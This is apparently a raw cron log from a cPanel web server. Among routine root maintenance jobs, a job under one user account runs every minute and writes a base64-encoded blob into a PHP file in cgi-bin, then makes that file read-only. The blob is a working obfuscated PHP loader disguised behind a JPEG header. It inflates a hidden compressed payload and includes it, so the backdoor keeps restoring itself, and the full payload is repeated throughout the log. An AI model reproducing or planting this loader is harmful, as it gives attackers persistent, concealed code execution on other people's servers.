Sep  1 13:48:01 server CROND[3249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:49:01 server CROND[3637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:49:01 server CROND[3638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:49:01 server CROND[3639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:50:02 server CROND[4032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:50:02 server CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:50:02 server CROND[4036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:50:02 server CROND[4037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:50:02 server CROND[4038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:50:02 server CROND[4040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:50:02 server CROND[4039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:50:02 server CROND[4042]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:50:02 server CROND[4035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:51:01 server CROND[4895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:51:01 server CROND[4896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:51:01 server CROND[4897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:52:01 server CROND[5437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:52:01 server CROND[5438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:52:01 server CROND[5439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:53:01 server CROND[5918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:53:01 server CROND[5919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:53:01 server CROND[5920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:54:01 server CROND[6312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:54:01 server CROND[6311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:54:01 server CROND[6313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:55:01 server CROND[6709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:55:01 server CROND[6710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:55:01 server CROND[6718]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:55:01 server CROND[6720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:55:01 server CROND[6719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:55:01 server CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:55:01 server CROND[6722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:56:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:56:01 server CROND[7579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:56:01 server CROND[7580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:57:01 server CROND[7961]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:57:01 server CROND[7960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:57:01 server CROND[7962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:57:01 server CROND[7963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:58:01 server CROND[8349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:58:01 server CROND[8350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:58:01 server CROND[8351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:59:01 server CROND[8829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:59:01 server CROND[8831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:59:01 server CROND[8830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:00:01 server CROND[9241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:00:01 server CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:00:01 server CROND[9244]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 14:00:01 server CROND[9245]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 14:00:01 server CROND[9243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
